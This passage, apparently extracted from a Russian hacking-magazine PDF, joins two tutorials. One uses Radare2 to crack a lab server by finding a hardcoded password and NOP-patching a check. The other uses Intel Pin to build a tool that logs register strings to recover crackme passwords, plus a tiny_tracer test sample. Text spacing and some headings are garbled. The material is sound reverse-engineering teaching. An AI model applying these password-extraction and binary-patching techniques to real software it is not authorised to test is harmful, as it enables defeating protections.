содер жимое упо мяну того буфера. А в перемен ную , судя по ком мента риям,
оставлен ным дизас сем бле ром, с двух заходов помеща ется стро ка

 (как мы зна ем, Хан Соло и Джаб ба Хатт в кон флик те).

Для удобс тва Radare2 соз дал допол нитель ную перемен ную — .

s1
s2

SoloIsMyB*tch
var_418h

Мож но с боль шой долей веро ятности пред положить, что это и есть эта- 
лон ный пароль. Наш ли?! Не спе ши впе ред парово за. Обра щает на себя вни- 
мание спо соб записи дан ных в перемен ную, а имен но исполь зование инс- 
трук ции , которая за один при сест целиком копиру ет 64-бит ное зна- 
чение в регистр без вспо мога тель ных средств наподо бие слу жеб ного сло ва

.

movabs

qword
Сто ит про верить, что же скры вает ся под чис ловыми кон стан тами. Вве ди

в коман дную стро ку сле дующее:

? 0x794d73496f6c6f53 
... 
? 0x6863742a42794d 

Вы вод воз можных зна чений перемен ных

Ïðîâåðÿåì íàéäåííóþ êîìáèíàöèþ
Приш ло вре мя вновь запус тить  и под клю чить ся к пор- 

ту 14884 с помощью netcat.

server64.elf

Вве ден вер ный пароль — защита пала

Пос ле вво да вер ного пароля фун кция  воз вра щает в глав ную

фун кцию ( ) еди ницу, в резуль тате чего про исхо дит вызов фун кции

, которая вывали вает в кон соль на сто роне кли ента содер- 
жимое фай ла . Нап ротив, если  воз вра щает ноль,

выпол нение прог раммы перехо дит на строч ку , где вызыва ется фун- 

кция . Которая, как мы зна ем, сооб щает: «Дро иды не те, что ты
ищешь».

authenticate
main

send_pw_list
passwords authenticate

0x1a6d
reject

В ито ге защита взло мана, пароль най ден — отлично!

Продолжение статьи →

http://www.t2d-dev.ru/
https://github.com/yurembo/HackThisServer
https://xakep.ru/2024/07/30/radare2-for-beginners/


RADARE2
ВСКРЫВАЕМ И ИЗМЕНЯЕМ

ИСПОЛНЯЕМЫЕ ФАЙЛЫ ПРИ
ПОМОЩИ ОПЕНСОРСНОГО

ФРЕЙМВОРКА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÄÈÍÀÌÈ×ÅÑÊÈÉ ÀÍÀËÈÇ

Меж ду тем за нами остался дол жок — нераз гры зен ная фун кция . В нее

еще надо как-то попасть, то есть запус тить выпол нение. Заод но поуп ражня- 
емся в динами чес ком ана лизе с помощью Radare2.

secret

Что бы запус тить наш сер вер под над зором отладчи ка R2, нуж но вос поль-
зовать ся клю чом :-d

r2 -d server64.elf 

Ког да R2 запус кает прог рамму в отладчи ке, пер вая оста нов ка про исхо дит
не на точ ке вхо да, фун кции  или каких-то дру гих биб лиоте ках. Поэто му,
что бы ока зать ся в фун кции , надо выпол нить коман ду  — то

есть debug continue until main (фун кцию мож но ука зать любую).

main
main dcu main

Те перь ход выпол нения прог раммы оста новит ся в начале фун кции .
Дебажить прог рамму с помощью коман дной стро ки негуман но по отно шению
к самому себе. Radare2 пред лага ет впол не снос ный визу аль ный режим пря мо
в кон соли. Что бы его открыть, набери .

main

Vpp

Radare2 в визу аль ном режиме

Сме щение той стро ки в дизас сем бле ре, на которой оста новил ся ход выпол- 
нения прог раммы, выделе но зеленым цве том. На самом деле, что бы открыть
визу аль ный режим, дос таточ но коман ды V, две бук вы P пос ле нее поз воля ют
сра зу при вхо де в этот режим нас тро ить содер жание кон соли. В про тив ном
же слу чае тебе бы приш лось нажимать P пос ле вхо да в режим.

Поп робуй поперек лючать содер жимое кон соли нажати ем P, воз можно, ты
най дешь дру гой вари ант более удоб ным. Мне же в текущем вари анте нра вит- 
ся то, что отоб ража ется содер жимое регис тров про цес сора.

На жатие кла виши F7 поз воля ет сде лать шаг впе ред на сле дующую инс- 
трук цию с заходом в фун кцию, если такая будет встре чена. F8 же дела ет шаг
впе ред, игно рируя встре тив шуюся фун кцию. Если вдруг нуж но пос тавить точ- 
ку оста нова на стро ку, где уста нов лен кур сор, дос таточ но нажать F2. Что бы
получить дос туп к коман дной стро ке, надо наб рать дво ето чие. А что бы
покинуть визу аль ный режим, дос таточ но нажать Q.

На игравшись с переме щени ем со стро ки на стро ку, уста новим точ ку оста- 
нова на вызов фун кции :authenticate

db sym.authenticate 

Про дол жим выпол нение вво дом коман ды . Пос ле нажатия Enter кур сор
перей дет на новую стро ку, но ничего нового мы не уви дим. Ну конеч но, прог- 
рамма зас тря ла на брейк-пой нте. Из дру гой кон соли под клю чись к сер веру,
наб рав . Покажет ся при ветс твен ный экран, но при ложе- 

ние оста новит ся до приг лашения ввес ти имя поль зовате ля.

dc

nc localhost 14884

При этом в пер вой кон соли, где выпол няет ся отладка сер вера, содер- 
жимое обно вит ся и будет выведе на информа ция о дос тижении точ ки оста- 
нова. Обра ти вни мание: пер вая стро ка фун кции помече на бук вой , что
говорит нам об уста нов ленном брейк-пой нте. Затем в этой же кон соли мы
вновь откро ем визу аль ный режим, нажав V.

b

Здесь мы тоже можем баловать ся перебо ром строк, одна ко наша целевая
фун кция — . Пос тавим на ее начало точ ку оста нова:check_username

db sym.check_username 

И про дол жим про гон прог раммы — . Вновь Radare2 сооб щит о дос тижении

точ ки оста нова.

dc

От кро ем визу аль ное отоб ражение. Далее с чувс твом, с тол ком, с рас ста- 
нов кой, шаг за шагом, дос тигнем инс трук ции .cmp dword [rbp – 0x424], 0

Меж ду тем, ког да мы дой дем до инс трук ции , прод- 

вигать ся даль ше будет невоз можно до тех пор, пока во вто рой кон соли мы
не вве дем . Пос ле того как про изой дет про вер ка 

, неумо лимо слу чит ся переход , что не поз- 

волит прог рамме исполнить фун кцию .

call sym.imp.read

username cmp dword [rbp 
– 0x424], 0 jne 0x562b2a12e69d

secret

Не умо лимый переход

Мож но про вес ти такой про гон еще бес конеч ное количес тво раз, одна ко
резуль тат будет тем же. Для решения проб лемы нам надо этот переход изме- 
нить или вооб ще обну лить.

ËÎÌÀÅÌ ÑÅÐÂÅÐ È ÌÅÍßÅÌ ÅÃÎ ÏÎÂÅÄÅÍÈÅ

На этот раз откро ем сер вер с воз можностью модифи кации дво ично го фай ла.
Для это го запус тим Radare2 с фла гом . Не забудь сде лать копию фай ла

на вся кий слу чай, если опе рация вый дет из-под кон тро ля!

-w

r2 –w server64.elf 

При выч ным дви жени ем руки запус тим ана лиз: . Перей дем в фун кцию
:

aaa
check_username

s sym.check_username 

Отоб разим дизас сем блер ный код этой фун кции, наб рав . Теперь надо

перей ти к инс трук ции, которую мы собира емся заломить, то есть к условно му
перехо ду: . Сме щение в начале стро ки изме нит ся.

pdf

s 0x1684
Для наг ляднос ти мож но вывес ти толь ко кон крет ные стро ки, с которы ми

идет работа. Мож но добавить или убрать 2–4 стро ки (ука зыва ется в парамет- 
рах коман ды):  ($$ — инди катор текущей стро ки).pd 4@$$

На сле дующем шаге будем резать по живому, изба вим ся от перехо да,
заменив текущую инс трук цию нопами. Для это го в R2 есть коман да 

(что бы узнать о ней боль ше, заг ляни в справ ку, оно того сто ит).

wao nop

Вновь отоб рази четыре текущие стро ки или фун кцию целиком, что бы уви- 
деть изме нения.

За менен ная инс трук ция

На вер няка ты обра тил вни мание, что в ори гина ле была одна стро ка, а пос ле
модифи кации ста ло две. Это про изош ло по той при чине, что инс трук ция 

занима ет в памяти один байт, тог да как условный переход  вмес те с адре- 

сом — два бай та. Сле дова тель но, что бы сох ранить баланс в изме няемой
прог рамме, вмес то перехо да с адре сом Radare2 вста вил два нопа. Теперь
можешь прог нать взло ман ный сер вак в отладчи ке (как мы это делали в пре- 
дыду щем раз деле) и убе дить ся, что дело доходит до фун кции .

nop
jne

secret

Вы пол нение фун кции secret

ÑËÈÂÀÅÌ ÔÎÒÎ

Нас тало вре мя открыть фун кцию  в дизас сем бле ре и узнать, что она

дела ет:

secret

r2 server64-hacked.elf 
aaa 
s sym.secret 
pdf 

Ди зас сем блер ный лис тинг фун кции secret

В начале фун кции нет ничего необыч ного, получен ные аргу мен ты рас кла- 
дыва ются по перемен ным: вве ден ная юзе ром стро ка (пер вый аргу мент)
помеща ется в перемен ную , дес крип тор сокета (вто рой аргу мент) — в .

На сер верной сто роне выводит ся стро ка, сиг нализи рующая о вызове фун- 
кции .

s fd

secret
За тем биб лиотеч ная фун кция  изме ряет дли ну поль зователь ской

стро ки, и, если она не рав на пяти, ход выпол нения прог раммы переме щает ся
в конец фун кции — на выход. Ина че выпол нение про дол жает ся. Про исхо дит
посим воль ное срав нение с пос ледова тель ностью сим волов , что мож- 

но заметить в ком мента риях Radare2.

strlen

WtfR2

Да лее в сер верную кон соль выводит ся стро ка 

. Потом готовят ся парамет ры для вызова фун кции: счи тыва ется
зна чение гло баль ной перемен ной  (пред став ляющее раз мер

изоб ражения), копиру ется дес крип тор сокета. Мы прек расно пом ним, что он
был передан в фун кцию в качес тве аргу мен та, пос ледним парамет ром (на
самом деле пер вым) переда ется ука затель на мас сив бай тов, сос тавля ющих
изоб ражение, — .

[+] Code correct, 
sending data

plan_jpg_len

plan_jpg
Пос ле это го выпол няет ся безус ловный переход в конец фун кции. Ниже

пос ледний сим вол стро ки  про веря ется на равенс тво вось ми. Ага! То есть

прог рамма пред полага ет одну из двух строк:  и .

s
WtfR2 WtfR8

Вы ше мы рас смот рели пер вый вари ант и вывод в кли ент скую кон соль мас- 
сива бай тов , сей час мы рас смат рива ем вто рой вари ант. В нем дей- 

ствия похожи, толь ко в качес тве раз мера переда ваемых дан ных берет ся зна- 
чение гло баль ной перемен ной , а роль переда ваемых
дан ных игра ет мас сив бай тов .

plan_jpg

portfolio_jpg_len
portfolio_jpg

На этом дизас сем блер ный код сер вера пол ностью рас смот рен, пора дви- 
гать ся даль ше.

Ïîëó÷àåì ôîòî
От кро ем две кон соли: в одной запус тим сер вер, во вто рой под клю чим ся
к сер веру и вве дем одно из двух спе циаль ных имен, к при меру ,

в резуль тате получим вывод, при веден ный на скрин шоте ниже.

WtfR2

По луче ние потока бай тов и вывод его в кон соль

Этот поток бай тов надо записать в файл. С кли ент ской сто роны вве ди

echo WtfR2 | nc localhost 14884 > Изображения/picR2.jpg 

Пос мотрим, что, по мне нию опе раци онной сис темы, этот файл собой пред- 
став ляет:

file Изображения /picR2.jpg 

На выходе получим . Мно гоз начитель но! Дан ные ведь могут быть любого
типа. Выходит, Radare2 не опре делил, что это за файл. Что же мы можем
пред при нять? Вырезать из фай ла ненуж ную часть! Открой файл в тек сто вом
редак торе:

data

nano Изображения/picR2.jpg 

От кры тый в nano файл

И уда ли в нем всю вер хнюю часть, вклю чая сло во  и дво ето чие пос-

ле него. В ито ге дол жно получить ся так, как на скрин шоте.

Username

Уда ление час ти фай ла

Сох раняй файл и зак рывай редак тор. Пос мотрим теперь, как ОС опре деля ет
файл:

file Изображения/picR2.jpg 

Ес ли на пре дыду щем шаге все сде лано пра виль но, ути лита выведет в кон соль
сле дующее опи сание фай ла:

Изображения/picR2.jpg: JPEG image data, JFIF standard 1.01, aspect 
ratio, density 1x1, segment length 16, Exif Standard: [TIFF image 
data, little-endian, direntries=1, datetime=2008:09:27 09:19:53], 
progressive, precision 8, 564x690, components 1 

Пос ледний тест, который сле дует про вес ти, — это открыть файл в прос мот- 
рщи ке изоб ражений:

gwenview Изображения/picR2.jpg 

Ре зуль тат при водить не буду, что бы тебе было любопыт нее пов торить все
опи сан ное самому.

Так же в качес тве упражне ния можешь ска чать с сер вера вто рой файл —
с име нем .WtfR8

Об рати вни мание: для редак тирова ния это го фай ла надо исполь зовать
vim. А ты думал, мы прос то так уста нав ливали его в пер вой статье? Если сно- 
ва забыл, как им поль зовать ся, пос ле уда ления ненуж ной час ти фай ла набери
дво ето чие, коман ду  и наж ми Enter.wq

Ре дак тирова ние дво ично го фай ла в vim

ÂÛÂÎÄÛ

Мо жем ли мы счи тать нашу мис сию завер шенной? Теперь опре делен но!
По ходу упражне ния с дизас сем бле ром нам уда лось не толь ко бла гопо луч но
получить дос туп к акка унту Джаб бы Хат та, но и ута щить с сер вера сек ретные
матери алы.

Но глав ной нашей задачей на про тяже нии обе их ста тей было научить ся
исполь зовать Radare2 для ана лиза прог рамм в Linux.

Ко неч но, фун кци ями, которые я здесь показал, воз можнос ти
Radare2 не огра ничи вают ся. Мы рас смот рели лишь малую часть вер хушки
айсбер га. Думаю, мы еще уде лим вни мание тон костям работы с Radare2,
поэто му, если тема тебе инте рес на, пиши об этом ком мента рии.



mr.grogrig
mr.grogrig@gmail.com

ВЗЛОМ

Pin — это ути лита для динами чес кой бинар- 
ной инс тру мен тации (DBI). Она на лету
переком пилиру ет байт-код в момент
исполне ния и как бы дер жит прог рамму
в проз рачной вир туаль ной машине, работа- 
ющей пос ле пер воначаль ной заг рузки
с минималь ными потеря ми ско рос ти. Pin
поз воля ет заг лянуть внутрь работа юще го
кода или изме нить его поведе ние. Сегод ня
мы поз накомим ся с воз можнос тями это го
фрей мвор ка.

Итак, Intel Pin поз воля ет соз давать инс тру мен ты для ана лиза кода, соб ранно- 
го под x86. Динами чес кий под ход помога ет с лег костью ана лизи ровать даже
самомо дифи циру ющиеся шелл-коды, что рань ше тре бова ло вдум чивой
пошаго вой трас сиров ки. Боль ше не нуж но часами сидеть в отладчи ке, пыта- 
ясь най ти OEP, — теперь рас паков ку нет рудно авто мати зиро вать.

Би нар ная инс тру мен тация под разуме вает встав ку кода в ском пилиро ван- 
ную прог рамму. В отли чие от ста тичес кой, похожей на зараже ние фай ла
через уста нов ку jmp-трам пли нов, динами чес кая инс тру мен тация не меня ет
код на дис ке, а инжекти рует прав ки в момент исполне ния. Pin работа ет
как JIT-ком пилятор. Исходный код переком пилиру ется в такие же ассем блер- 
ные инс трук ции, но с про изволь ными встав ками. И помеща ется в кеш, где
будет исполнять ся, пока не дой дет до сле дующе го учас тка, который надо
переком пилиро вать. Это замед ляет заг рузку, но с точ ки зре ния ста рого кода
дела ет встав ленный код невиди мым!

Возь мем для при мера вот такую пос ледова тель ность инс трук ций:

00401000    cmp ecx,A 
00401003    jne 00401007 
00401005    int 3 
00401007    mov eax,0 

Вот как дол жна выг лядеть кеширо ван ная копия пос ле инс тру мен тации:

01401000  call instrumentation 
01401005  cmp ecx,A 
01401008  call instrumentation 
0140100D  jne 0140101B 
0140100F  call instrumentation 
01401014  int 3 
01401016  call instrumentation 
0140101B  mov eax,0 

Но это в теории: реаль ный кеш силь но опти мизи рован и содер жит допол- 
нитель ные встав ки из-за огра ничен ного количес тва про цес сорных регис тров,
которые могут быть заняты ори гиналь ным кодом.

ÓÑÒÀÍÎÂÊÀ PIN

Я исполь зую Pin вер сии 3.30, но подоз реваю, что API в будущем не изме нит- 
ся. Пер вым делом качай  с офи циаль ного сай та. Стра ница
не пус кает с некото рых IP, но пря мые ссыл ки работа ют (вот вер сии 
и ). Pin обыч но ста вят в каталог , что бы избе жать оши бок,

воз ника ющих из-за про белов в наз вани ях стан дар тных папок Windows.

дис три бутив
для Linux

для Windows C:\PIN

Инс тру мен ты, соб ранные для работы с Pin, называ ются PinTools. Их мож но
рас смат ривать как пла гины, исполь зующие API для управле ния инс тру мен- 
таци ей. Лицен зия раз реша ет рас простра нять их толь ко в виде исходни ков.
Поэто му сегод ня будет мно го сбор ки.

ÑÎÁÈÐÀÅÌ ÈÑÕÎÄÍÈÊÈ

Со бирать будем для Windows 10. Пос коль ку софт в пер вую оче редь ори енти- 
рован на Linux, там проб лем вооб ще не будет. Нам пот ребу ется ком пилятор

 и .Visual Studio GNU Make
Я исполь зую Community-вер сию Visual Studio 2022. Нам нужен пакет

Desktop development for C++. Советую при уста нов ке выб рать англий ский
язык, что бы не путать ся в меню. Ста вим Cygwin 64 в корень дис ка, кача ем
пакет Make из катего рии Devel.

Нас тро им в кон соли перемен ные окру жения:

set PATH=%PATH%;C:\cygwin64\bin 

Те перь  будет запус кать ся по име ни.make

"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\
Auxiliary\Build\vcvars64.bat" 

"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\
Auxiliary\Build\vcvars32.bat" 

За пус каем 32- или 64-раз рядную вер сию перед каж дой сбор кой. Вмес те
с Pin идет куча при меров, собира ем всю пап ку или один кон крет ный.

cd C:\PIN\source\tools\SimpleExamples 

make all TARGET=intel64 
make obj-ia32/icount.dll TARGET=ia32 
make obj-intel64/icount.dll TARGET=intel64 

Тес товые прог раммы из статьи собира ются в IDE, осталь ное — через тот же
Make.

ÐÀÇÁÈÐÀÅÌ ICOUNT

Возь мем самый прос той при мер —  из пос тавки Pin. Я вырезал
необя затель ную часть кода, так что твой файл будет нем ного отли чать ся.

icount.cpp

C:\PIN\source\tools\SimpleExamples\icount.cpp

 #include "pin.H"
 #include <iostream>

   UINT64 ins_count = 0;

 VOID docount()
{
   ins_count++;
}

    VOID Instruction(INS ins, VOID* v)
{
      INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END);
}

    VOID Fini(INT32 code, VOID* v)
{
         std::cerr << "Count " << ins_count << std::endl;
}

 INT32 Usage()
{
       cerr << "Prints out the number of executedinstructions.\n" << std
::endl;
    return -1;
}

    int main(int argc, char* argv[])
{
     if (PIN_Init(argc, argv))
   {

        return Usage();
   }

    INS_AddInstrumentFunction(Instruction, 0);
    PIN_AddFiniFunction(Fini, 0);
   PIN_StartProgram();
    return 0;
}

Ис полне ние начина ется в . Давай раз берем, что дела ет API.main
 — ини циали зация PIN. Тут про исхо дит раз бор аргу мен тов

коман дной стро ки. В слу чае неуда чи воз вра щает ненуле вое зна чение,
а мы выводим справ ку об исполь зовании.

• PIN_Init

 регис три рует фун кцию, которая будет
выз вана для каж дой встре чаемой по ходу исполне ния ассем блер ной инс- 
трук ции. Это так называ емая Instrumentation Routine, она вызыва ется лишь
однажды. Здесь мы воль ны ана лизи ровать или модифи циро вать про веря- 
емый код, собс твен но про водить встав ку сво его кода.

• INS_AddInstrumentFunction

 при нима ет перемен ное чис ло аргу мен тов, дос тупные
кон стан ты ука заны в . Помеща ет вызов про изволь ной фун- 
кции перед инс трук цией , в дан ном слу чае не переда вая никаких аргу- 
мен тов.

• INS_InsertCall

до кумен тации
ins

 вызыва ется каж дый раз перед иссле дуемой инс трук цией.
Это Analysis Routine, фун кция, которая дол жна быть мак сималь но опти- 
мизи рова на, что бы не тор мозить про цесс. В ней все го одна коман да —
уве личе ние гло баль ного счет чика .

• docount

ins_count

 регис три рует фун кцию , она вызыва ется
по завер шении про цес са или вызову  внут ри инс тру мен та.

• PIN_AddFiniFunction Fini

PIN_Detach

 запус кает исполне ние иссле дуемо го про цес са.
Никог да не воз вра щает управле ние. Пос ле вызова регис тра ция новых
фун кций невоз можна.

• PIN_StartProgram

ÇÀÏÓÑÊ ÈÍÑÒÐÓÌÅÍÒÀÖÈÈ

Пос ле сбор ки под 32-раз рядную архи тек туру в пап ке  появи лась

DLL. При меним ее на деле.

obj-ia32

 

 

 

C:\PIN\pin.exe -t obj-ia32\icount.dll -- cmd /c ver

Microsoft Windows [Version 10.0.19043.1889] 
Count 5609927

Ар гумент  содер жит путь до PinTool. Про чер ки отде ляют аргу мен ты целевой

прог раммы. В дан ном слу чае про сим кон соль ска зать текущую вер сию ОС.

-t

Обе прог раммы пишут в кон соль, сна чала , затем  выводит чис ло
инс трук ций. Надо понимать, что учи тыва ется не один код при ложе ния, а вся
трас са, вклю чая биб лиоте ки и заг рузчик, то есть часть кода из NTDLL и внут- 
реннос ти WinAPI.

cmd Fini

C:\PIN\pin.exe -pid 4956 -t obj-ia32\icount.dll 

Мож но под клю чить ся к уже запущен ному про цес су, под ловив его в инте ресу- 
ющий нас момент. Что бы вывод количес тва команд сра ботал, при ложе ние
дол жно быть кон соль ным.

ÃÐÀÍÓËßÐÍÎÑÒÜ

В целях опти миза ции Pin обра баты вает опко ды груп пами. Их сущес тву ет три
вида: трас са, базовый блок и оди ноч ная инс трук ция.  — это набор

базовых бло ков;  — набор инс трук ций, который обры вает ся коман дой
переда чи управле ния;  — любая инс трук ция.

Trace
BBL

Ins
Луч ший спо соб разоб рать ся в чем-либо — сде лать это на прак тике. Сле- 

дующий код записы вает в файл  ана лизи руемые инс трук ции,

визу аль но раз деляя базовые бло ки и трас сы.

tracer.out

 #include <stdio.h>
 #include "pin.H"

 FILE* out;

    VOID Trace(TRACE trace, VOID* v)
{
    fprintf(out, "\n----------------------------\n");

           for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl =
BBL_Next(bbl))
   {

        fprintf(out, "\n");

               for (INS ins = BBL_InsHead(bbl); INS_Valid(ins); ins =
INS_Next(ins))
       {

              std::string dis = INS_Disassemble(ins);

              fprintf(out, "%p: %s \n", INS_Address(ins), dis.c_str());
       }
   }
}

    VOID Fini(INT32 code, VOID* v)
{
   fclose(out);
}

    int main(int argc, char* argv[])
{
      out = fopen("tracer.out", "w");
       if (PIN_Init(argc, argv)) return -1;
    TRACE_AddInstrumentFunction(Trace, 0);
    PIN_AddFiniFunction(Fini, 0);
   PIN_StartProgram();
    return 0;
}

За пус тив на тес товом фай ле, видим, что трас са всег да закан чива ется
на коман дах безус ловной переда чи управле ния ( , , , )

либо ког да дос тига ется мак сималь ное количес тво базовых бло ков, в моем
слу чае на трех.

ret jmp call syscall

0x7ffa7c57d876: sub ecx, 0x1 
0x7ffa7c57d879: jz 0x7ffa7c57da21 

0x7ffa7c57d87f: sub ecx, 0x1 
0x7ffa7c57d882: jz 0x7ffa7c57d941 

0x7ffa7c57d888: sub ecx, 0x1 
0x7ffa7c57d88b: jz 0x7ffa7c57d938 

До кумен тация про сит встав лять свой код на уров не трас сы, что бы не тор- 
мозить иссле дуемое при ложе ние. То есть по воз можнос ти исполь зовать

 вмес то . Помимо это го, для опти миза ции

мож но огра ничить инс тру мен тацию по адре су фун кции или кон крет ному
модулю.

TRACE_InsertCall INS_InsertCall

Продолжение статьи →

https://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-downloads
https://software.intel.com/sites/landingpage/pintool/downloads/pin-3.30-98830-g1d7b601b3-gcc-linux.tar.gz
https://software.intel.com/sites/landingpage/pintool/downloads/pin-3.30-98830-g1d7b601b3-msvc-windows.zip
https://visualstudio.microsoft.com/downloads/
https://cygwin.com/
https://software.intel.com/sites/landingpage/pintool/docs/98650/Pin/doc/html/


БУЛАВКОЙ ПО МОЗГАМ
АНАЛИЗИРУЕМ ДИНАМИЧЕСКИЙ

КОД ПРИ ПОМОЩИ INTEL PIN

ВЗЛОМ  НАЧАЛО СТАТЬИ←
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Да вай раз берем прос той crackme и извле чем из него пароль в момент срав- 
нения с поль зователь ским клю чом. Слож ность сос тоит в том, что бы доб рать- 
ся до это го мес та, пре одо лев анти отладку и слой упа ков щика. Одна ко Pin
сде лает это за нас. Нам оста ется толь ко пой мать нас тоящий пароль.

На пишем тес товый обра зец, который затем будем взла мывать.

 #include <stdio.h>
 #include <windows.h>

    int main(int argc, char* argv[])
{
      if (argc == 2)
   {

           if (strcmp(argv[1], "secret") == 0)
       {
           printf("You did it!\n");
       }
       else
       {
           printf("Better luck next time\n");
       }
   }
   else
   {
       printf("Give me the string!\n");
   }
}

Наш crackme при нима ет пароль и выводит резуль тат срав нения. Вот как выг- 
лядит этот учас ток кода пос ле ком пиляции:

mov rdx,qword ptr ds:[rdx+8] 
lea r9,qword ptr ds:[<"secret"...>] 
xor r8d,r8d 
mov ecx,r8d 
movzx eax,byte ptr ds:[rdx+rcx] 
inc rcx 
cmp al,byte ptr ds:[r9+rcx-1]

Что бы срав нить стро ки, надо знать их адрес. В регистр  попада ет ссыл ка
на поль зователь ский ввод, а в  — на пароль. Нам оста ется записать все

стро ки, которые будут записа ны в регис тры во вре мя исполне ния. Непода- 
леку от вве ден ной нами стро ки будет пароль.

RDX
r9

Ко пиру ем шаб лон  в пап ку .C:\PIN\source\tools\MyPinTool MyCracker

 #include <stdio.h>
 #include "pin.H"

 FILE* trace;

  BOOL IsAsciiChar(char c)
{
          return (c >= ' ' && c <= '~');
}

    int GetValidCount(char* str, int max)
{
      int counter = 0;

       for (int i=0; i<max; i++)
   {

        if(!IsAsciiChar(str[i])) break;
       counter++;
   }

    return counter;
}

#define DATA_SIZE 50
#define STR_MIN_LEN 4

    VOID AnalyzeContext(REG reg, CONTEXT *ctxt)
{
   PIN_LockClient();

    ADDRINT reg_val;
      PIN_GetContextRegval(ctxt, reg, (UINT8 *)(&reg_val));

    char buffer[DATA_SIZE+1];

       if(PIN_SafeCopy(buffer, (VOID*)reg_val, DATA_SIZE) == DATA_SIZE)
   {

           int count = GetValidCount(buffer, DATA_SIZE);
          if (count >= STR_MIN_LEN)

       {
             buffer[count] = 0;
            fprintf(trace, "%s: %p = %s (%d) \n",

                  REG_StringShort(reg), reg_val, buffer, count);
       }
   }

   PIN_UnlockClient();
}

  BOOL IsValidAddr(ADDRINT Address)
{
      IMG img = IMG_FindByAddress(Address);
      return IMG_Valid(img) && IMG_IsMainExecutable(img);
}

    VOID Instruction(INS ins, VOID* v)
{
      ADDRINT addr = INS_Address(ins);

      if (IsValidAddr(addr) && INS_IsValidForIpointAfter(ins))
   {

               for (UINT32 i = 0; i < INS_MaxNumWRegs(ins); i++)
       {

                const REG reg = INS_RegW(ins, i);
            if(!REG_is_reg(reg)) continue;

           INS_InsertPredicatedCall(ins,
               IPOINT_AFTER,
               (AFUNPTR)AnalyzeContext,

                IARG_UINT32, reg,
               IARG_CONST_CONTEXT,
               IARG_END);
       }
   }
}

    VOID Fini(INT32 code, VOID* v)
{
   fclose(trace);
}

    int main(int argc, char* argv[])
{
      trace = fopen("cracker.out", "w");
       if (PIN_Init(argc, argv)) return -1;
    INS_AddInstrumentFunction(Instruction, 0);
    PIN_AddFiniFunction(Fini, 0);
   PIN_StartProgram();
    return 0;
}

Что бы мож но было работать не толь ко с кон соль ными при ложе ниями, вывод
пишет ся в файл . Добав ляем вызов, про веря ющий каж дую

встре чаемую инс трук цию. В нем смот рим ее адрес, что бы не трас сировать
инс трук ции вне иссле дуемо го модуля. Если инс трук ция меня ет любой про- 
цес сорный регистр — встав ляем инс тру мен тацию сра зу пос ле нее. Так
получа ем зна чение регис тра и пыта емся интер пре тиро вать это зна чение
как ссыл ку на ASCII-стро ку. Если уда лось и стро ка длин ней четырех сим- 
волов — заносим в общий лог.

cracker.out

C: IN ource oolscd \P \s \t \MyCracker 
make TARGET=intel64 

Со бира ем и про буем на тес товом образце.

c:\PIN\pin.exe -t MyPinTool.dll -- CrackMe.exe 123456 

Заг лянем в логи:

rdx: 0x2045e1ba933 = 123456 (6) 
r9: 0x7ff618312250 = secret (6) 
rax: 0x7ff618312268 = Better luck next time (21) 
rcx: 0x7ff618312258 = You did it! (11) 

Как и пред полага лось, пароль лежит по соседс тву. Теперь поп робу ем то же
самое на  с crackmes.one. Прог рамма упа кова на
и обфусци рова на. Пароль для боль шинс тва архи вов — . Будь

готов к тому, что у тебя по ошиб ке сра бота ет анти вирус.

ре аль ной crackme
crackmes.one

Вот что выводит наша кряк ми.

 

 

 
[---] Access denied! The sysadmin gloats over your failure. 
 

  Login error! The account administrator was offended
  by you and changed the authorization data. Take action!

admin@DESKTOP:~$ 12345

Де лаем то же самое с инс тру мен таци ей и сра зу пос ле вве ден ной стро ки
находим в логе сле дующее:

rcx: 0x14017994 = s.h_ (4) 
rax: 0x14017880 = 12345 (5) 
rcx: 0x14017990 = obfus.h_ (8) 
rsp: 0x14fce0 = Auth (4) 

Про буем наход ку в качес тве пароля:

 

 
[+++] Access is allowed! Yes, you showed how it should be done. 
 

admin@DESKTOP:~$ obfus.h_

Нам не пот ребова лось даже запус кать отладчик!

TINY_TRACER

Са мый извес тный инс тру мент из пуб личных PinTools — . Он помога- 
ет анти вирус ным ана лити кам опре делять, что дела ет иссле дуемое при ложе- 
ние. Он записы вает вызовы WinAPI, как бы хорошо они ни были спря таны.

tiny_tracer

Ста вим исходни ки в .

Докумен тация рекомен дует сбор ку в IDE, но мой ком пилятор почему-то пада- 
ет в отладку. Для сбор ки через Make необ ходимо убрать две строч ки
из :

C:\PIN\source\tools\tiny_tracer-2.7.1

TinyTracer.cpp

#define USE_ANTIDEBUG
#define USE_ANTIVM

Ли бо вклю чить два фай ла в :makefile.rules

$(OBJDIR)ProcessInfo$(OBJ_SUFFIX) $(OBJDIR)AntiVm$(OBJ_SUFFIX) $(
OBJDIR)AntiDebug$(OBJ_SUFFIX) $(OBJDIR)FuncWatch$(OBJ_SUFFIX) 

В пап ке  лежат вспо мога тель ные инс тру- 
мен ты: скрип ты для запус ка через кон текс тное меню, при мер кон фигура ции
и тому подоб ное. В эту же пап ку помеща ем 

и , если хотим исполь зовать их вмес те.

tiny_tracer-2.7.1\install32_64

TinyTracer32.dll
TinyTracer64.dll

На пишем тес товый обра зец:

 #include <stdio.h>
 #include <windows.h>

 void Test_NtApi()
{
       LPVOID NtClose = GetProcAddress(GetModuleHandleA("ntdll"),
"NtClose");
      typedef int (*NtCloseAddr)(int handle);
   ((NtCloseAddr)NtClose)(0);
}

     extern "C" void __fastcall NtCloseSyscall(int handle);

 void Test_DirectSysCall()
{
   NtCloseSyscall(0);
}

 void Test_ShellCode()
{
    DWORD OldProt;

       CHAR shellcode[] = "\x90\xC3"; // just NOP & RET

      DWORD shell_len = sizeof(shellcode);
      LPVOID shell_buf = malloc(shell_len);

      VirtualProtect(shell_buf, shell_len, PAGE_EXECUTE_READWRITE, &
OldProt);
     memcpy(shell_buf, shellcode, shell_len);

     typedef void (*ShellType)();
   ((ShellType)shell_buf)();
}

    int main(int argc, char* argv[])
{
   Test_NtApi();
   Test_DirectSysCall();
   Test_ShellCode();
}

К сожале нию, ком пилятор MSVC не раз реша ет ассем блер ные встав ки внут ри
кода для x86-64. Добав ляем ком пилятор MASM в Build dependencies.
И  — через Project → Add New Item.syscall.asm

.code 

NtCloseSyscall PROC 
mov r10,rcx 
mov eax,15 
syscall 
ret 
NtCloseSyscall ENDP 

END 

